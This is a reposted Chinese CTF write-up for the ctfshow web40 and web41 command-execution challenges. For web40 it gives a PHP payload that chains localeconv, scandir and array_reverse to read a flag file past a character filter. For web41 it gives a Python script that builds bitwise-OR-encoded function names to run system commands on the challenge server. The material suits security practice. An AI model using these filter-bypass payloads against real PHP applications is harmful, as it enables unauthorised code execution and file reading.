ctfshow-web入門命令執行-web40/web41(附python腳本)


web40

 

 

別看這里過濾了這么多,其實他過濾的括號是中文括號,這里我開始納悶了好久

先說一個打印當初路徑下文件的函數:print_r(scandir('.'))

但是很明顯單引號和小數點已經過濾了,這里要先辦法繞過

最簡單的方法是利用函數傳參,那就找當前能用包含小數點的函數

還真有:localeconv()      返回一包含本地數字及貨幣格式信息的數組

格式:

 

 

 那么按找接下來思路就是構造:print_r(scandir(localeconv()[0]))

但是這個函數是不能localeconv()[0]這樣返回的,而且方括號也被過濾了,那么就要用到別的函數

  • current() 函數返回數組中的當前元素(單元),默認取第一個值,
  • pos() 同 current() ,是current()的別名
  • reset() 函數返回數組第一個單元的值,如果數組為空則返回 FALSE

這里三個函數都可以用

 

 

 

因此打印當前目錄:print_r(scandir(current(localeconv())));

 

這里可以的用next()

輸出數組中的當前元素的下一個元素的值,也就是可以輸出第二個(還有end可以輸出最后一個)

但是flag在第三個怎么辦?可以用array_reverse函數

這個函數就是將數組轉置;

 

最終payload:highlight_file (next(array_reverse(scandir(current(localeconv())))));

 

 

 

 

 

 

web-41

 

 分析正則,貌似過濾了所有數字和小寫字母,后面還有個/i,大寫字母也沒了

其實看到這種全過濾,反倒是只有一種解法,就是構造字符串

& 按位與 |按位或 ^ 按位異或 ~取反 為四大位運算符,其中按位異 | 沒有過濾,過濾的字符是防異或、自增和取反構造字符

寫個腳本

import re
import requests

url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

# eval("echo($c);");
mya="system"  #函數名 這里修改!
myb="ls"      #參數
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

 

 

cat flag.php

 

 

 

 

 這里坑主要是 他執行格式是 (system)(ls)這樣,貌似是php7支持的動態函數執行啥的

其他就是注意字符轉換,腳本不難寫

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM